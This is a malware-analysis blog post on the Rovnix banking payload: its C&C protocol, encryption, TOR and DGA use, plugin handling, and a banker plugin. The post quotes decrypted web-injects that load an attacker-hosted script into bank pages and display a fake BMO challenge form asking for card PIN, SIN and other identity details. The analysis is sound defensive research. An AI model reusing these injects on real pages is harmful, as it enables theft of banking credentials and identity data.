Friday, June 26, 2015

Rovnix Payload Analysis

The payload part of the Rovnix dropper i analyzed previously is the module that responsible to communicate with the C&C server and to install and load plugins.

It seems like Symantec detecting it as Carberp.C as can be seen in this blog post, i assume it is the same dropper and payload i am analyzing here because the C&C page names and the techniques used by the dropper are the same.


Payload Overview

The payload file SHA256 this analysis based on is:
08e3b7e04abe1aa43477a1befb0a05d4fd7cf1480c834f21ff2f7e894fed6a3f

As always you can download all the samples mentioned in this post and the decrypted web-injects here (Password: infected).

The payload capabilities include:
  • Communicating with the C&C 
  • Download additional C&C addresses
  • Download and run plugins
  • Download and run additional executable files


Encryption

The returned data from the C&C server contains a digital signature and the data itself, before the payload perform the decryption it validates the signature against the data:
Signature validation
Only if the validation was successful the payload continue to decrypt the content.
The public key (type CALG_RSA_SIGN) used to verify the hash of the data is embedded inside the payload itself.

In addition to the public key the payload contains an embedded RC2 key and Initialization Vector.
Embedded keys
The payload sample analyzed here actually contains two different Public keys, RC2 and IV keys but only one of the them is actually used.

C&C Communication

The C&C addresses are embedded inside the payload file, however the payload can download additional server addresses for various purposes.
Some embedded address and newly downloaded address are .onion based addresses that are accessible through the TOR network, the payload contains the capabilities to connect to a local TOR client through port 9050 and from there connect to the TOR network.

One of the plugins the payload downloads is a TOR client that is responsible to give the payload (and other plugins) the ability to access the TOR network (the TOR plugin creates a Mutex named Global\\PLTOR%s%u).

In addition to the TOR connectivity capabilities the payload contains a DGA algorithm that generates domain names after a certain period of time:
DGA Algorithm

The payload contains an hard-coded C&C address that is used to communicate with the server. The requests are made to four different hard-coded pages.



The host.dat page

The host.dat page returns a RC2 encrypted file that contains a server address and a time value.
Decrypted new host file

After the payload decrypts the downloaded file it saves the received host address in a global buffer.

Save the host.dat content
The global buffer is written to a named pipe (\\.\pipe\vhost<VolumeSerialNumber>) the payload creates at its initialization stage, the named pipe is connected from at-least one plugin (the banking stealer) in order to get an updated C&C address to send its captured logs (http://C2Address/vbulletin/post.php).

Named pipe creation

The hosts.dat page

The request to the hosts.dat page returns an RC2 encrypted file that contains additional C&C servers, the additional addresses are stored in the following registry key:
HKCU{HKLM}\\Software\\Microsoft\\Product\\B<VolumeSerialNumber>\\SHX
Where the X value is a number between 1-3.

Before it stores the new C&C address the payload performs an XOR operation on it with the value of 0x14.

As part of the initialization stage of the payload it iterates over the mentioned registry keys in order to extract the updated C&C addresses.

The list32.dat page

The request to the list32.dat (or list64.dat on 64bit version of the payload) returns an RC2 encrypted file that contains a list of plugin IDs to download from the C&C server.

A plugin ID is the CRC32 hash value of the data of the plugin, this plugin ID can't be used to detect similar plugins from different attackers since the plugin CRC32 hash value necessarily be different because of different C&C address. The TOR plugin however doesn't change (it doesn't contains unique data) and i was able to see the same plugin ID on three different infected machines.

The list of the downloaded plugins IDs is stored inside a global storage of type PLUGIN_GLOBAL_STORE:

Plugin structs

The global storage for the downloaded plugin IDs can contains a maximum number of 15 plugin IDs which is the maximum number of plugins that the payload can run simultaneously.

Store downloaded Plugin IDs

At its initialization stage the payload create a similar list (PLUGIN_GLOBAL_STORE) for all the installed plugins that it loads from the registry this list is now compared against the list of the downloaded plugin IDs and only if a new plugins ID is found it will be downloaded and stored in the system.

The downloaded plugin is an RC2 encrypted DLL file and after the download process is done the payload starts a thread that maps the file to its own memory and run the exported DllInitialize routine.

Once the thread finish its job the new plugin is registered in the global list of installed plugins and stored inside the registry in its RC2 encrypted form, the plugin ID is used as the value name:
New plugin registration and storage
The plugin is stored inside the following registry key:
HKCU{HKLM}\Software\Microsoft\Product\B<VolumeSerialNumber>\PLUGIN




After the installation of new plugins the payload compares the list of the installed plugins to the list of the downloaded plugins and if it finds that a plugin ID that is found only in the installed plugin list it deletes its content from the registry and hence remove the plugin from the victim machine.

The update.dat page

The request to the update.dat downloads an RC2 encrypted file that the payload runs (CreateProcess) after decryption.

The <VolumeSerialNumber>_32.dat page

The request to the <VolumeSerialNumber>_32.dat (or with _64.dat as postfix on 64bit payloads) returns an RC2 encrypted DLL file that the payload runs by calling its exported DllInitalize routine.

The downloaded DLL file is not registered as plugin and not stored on the victim machine, this page is probably used to run a DLL file only once for a specific victim.

Plugins Overview

The plugins are the actual bot's malicious functionality, the plugins i was able to acquire and identify are:

  • Banker (ReactorDemo) - Inject code to visited web-pages
  • Tor (PLTOR) - Act as a TOR client
  • Softwaregrabber (softwaregrabber.dll) - Collects password and information from the victim system, seems to be a direct compile of the softwaregrabber source leak (KINS)
  • Bitcoin stealer (PBILOG) - Steals bitcoins

Some of the plugins contains their original name referenced inside the export ordinals table:


Here's a simple analysis of the banker plugin.

Banker (Internal name: ReactorDemo.dll)

The banker plugin is a complete banking Trojan in itself, it is able to hook and inject code to commonly used browsers.

The plugin starts its work by creating a proxy like server, first it creates three sockets that listen on localhost with the port number of the first socket usually starts at 32767:
Create proxy server
It continues by enumerating all the processes and injecting a DLL file to every process that has one of these names: iexplorer.exe, chrome.exe, firefox.exe, it finds the processes by comparing the CRC32*2 hash of the process name against an embedded hash values.

Embedded hash for iexplorer.exe chrome.exe and firefox.exe


The injected file's role is to hook various functions inside the browser and through the hooks there will be connections to the proxy server. The proxy server is responsible to parse and inject the web-injects to the visited page.

The plugin downloads the web-injects from a remote server, the downloaded web-injects are encrypted using RC2 (The plugin itself contains a Key and IV). The structure of the decrypted web-injects looks similar to other banking Trojans web-injects:


 set_url https://*ingbank.pl* GP  
 data_before  
 <script type='text/javascript' src='/data/js/brow  
 data_end  
 data_inject  
 data_end  
 data_after  
 .js'></script>  
 data_end  
 set_url *online.mbank.pl* GP  
 data_before  
 data_end  
 data_inject  
 <script>var bid = '%BOTID%';</script><script src='https://advmarketplace.info/m5/injects/mbank.js'></script>  
 data_end  
 data_after  
 </head>  
 data_end  
 set_url https://*.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain* GP  
 data_before  
 <body class="tundra">  
 data_end  
 data_inject  
 <div id="panel" style="display:none">  
 <style type="text/css">  
 div.card_data {  
      width:      345px;  
      height:      240px;  
      background-image: url('data:image/png;base64,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');  
   border-radius: 16px 16px 16px 16px;  
 }  
 div.card_back {  
      width:      345px;  
      height:      235px;  
      background-image: url('data:image/png;base64,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');  
   border-radius: 16px 16px 16px 16px;  
 }  
 .card_num {  
 position: relative;  
 top: 34px;  
 left: 30px;  
 }  
 .card_date {  
 position: relative;  
 top: 95px;  
 }  
 .card_date1 {  
 position: relative;  
 top: 85px;  
 }  
 .mylabel {  
 display: block !important;  
 margin: 0 0 6px !important;  
 font-size: 12px !important;  
 line-height: 14px !important;  
 color: #000 !important;  
 text-transform: uppercase !important;  
 font-weight: bold !important;  
 }  
  .txtinput {  
 height: 25px;  
 border: 1px solid #aebad2;  
 background: #FFF;  
 padding: 9px 10px;  
 font-size: 13px;  
 line-height: 16px;  
 color: #000;  
 font-weight: bold;  
 width: 60px;  
 text-align: center;  
 color:grey;  
 }  
 .txtinput:focus {  
  color:black;  
  border:solid 1px #6899b6;  
  border-left:solid 2px #6899b6;  
 }  
 .txtinput:hover  
 {  
  background-color:#E8F3F9;  
 }  
 #widget_signInSecurityQuestion:focus {  
  color:black !important;  
  border:solid 1px #6899b6 !important;  
  border-left:solid 2px #6899b6 !important;  
 }  
 #widget_signInSecurityQuestion:hover {  
  background-color:#E8F3F9 !important;  
 }  
 .card_data .card_date1 label {  
 float: right;  
 height: 36px;  
 margin: 17px 30px 17px 30px;  
 line-height: 17px;  
 text-align: center;  
 width:100px;  
 }  
 .expire_month, .expire_year {  
 float: right;  
 }  
 </style>  
 <div class="tripleColContainer" id="mine">  
      <h2 class="sectionHeader">Challenge Question</h2>  
      <p class="instructionsCopy">We've detected you are signing into a computer that you do not typically use for Online Banking. You will need to successfully answer this challenge question before you can sign in.</p>  
 <div class="errorBox rbox bulletinBox rbox-container" id="serverSideErrorBoxId" style="display:none"><div class="rbox-left-side"><!-- - --><div class="rbox-right-side"><!-- - --><div class="rbox-content"><!-- - -->  
                <div class="rbox-left-side">  
                     <!-- - -->  
                     <div class="rbox-right-side">  
                     <!-- - -->  
                          <div class="rbox-content">  
                          <!-- - -->                                          
                               <p id="error_p">  
                                    Answer is required.  
                               </p>                                          
                          </div>  
                     </div>  
                </div>  
                <div class="rbox-top-left">  
                     <!-- - -->  
                </div>  
                <div class="rbox-top-right">  
                     <!-- - -->  
                </div>  
                <div class="rbox-bottom-left">  
                     <!-- - -->  
                </div>  
                <div class="rbox-bottom-right">  
                     <!-- - -->  
                </div>  
           </div></div></div><div class="rbox-top-left"><!-- - --></div><div class="rbox-top-right"><!-- - --></div><div class="rbox-bottom-left"><!-- - --></div><div class="rbox-bottom-right"><!-- - --></div></div>  
                     <div id="infoBox">  
                      <div id="question_div" style="display:none;">  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_pin" style="display:none">What is your card pin?</label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_php" style="display:none">What is your phone password?</label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_dob" style="display:none">What is your date of birth (mm/dd/yyyy)?</label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_emp" style="display:none">Who is your first employer?</label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_mmn" style="display:none">What is your Mother's Maiden Name?</label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_sin" style="display:none">What is your Social Insurance Number (xxx-xxx-xxx)? </label>  
                          <label for="signInSecurityQuestion" name="lblregSecurityQuestion" id="text_dln" style="display:none">What is your Driver's License Number?</label>  
                          <br>  
                            <div class="dijit dijitReset dijitInlineTable dijitLeft signInSecurityQuestion dijitTextBox" id="widget_signInSecurityQuestion" dojoattachevent="onmouseenter:_onMouse,onmouseleave:_onMouse,onmousedown:_onMouse" wairole="presentation" role="presentation" widgetid="signInSecurityQuestion">  
                            <div style="overflow:hidden;">  
                             <div class="dijitReset dijitValidationIcon"><br></div>  
                                <div class="dijitReset dijitValidationIconText">?</div>  
                            <div class="dijitReset dijitInputField">  
                            <input class="dijitReset"  autocomplete="off" name="answer" type="text" maxlength="50" id="signInSecurityQuestion" style="width:300px" tabindex="0" value="">  
                            </div>  
                            </div>  
                                </div>  
                                </div>  
                                 <h3>Recognize this computer</h3>  
                                 <p class="recognizeComputer">Recognizing this computer allows you to access Online Banking without having to answer a challenge question every time you sign in. Recognize this computer only if it is one you frequently use to sign in to Online Banking. This will most likely be your home or office computer. Do not recognize a computer in a public place where other people have access such as a computer at a library or an Internet cafe.</p>  
                                 <p class="recognizeComputer">Would you like to recognize this computer?</p>       
                                    <fieldset>  
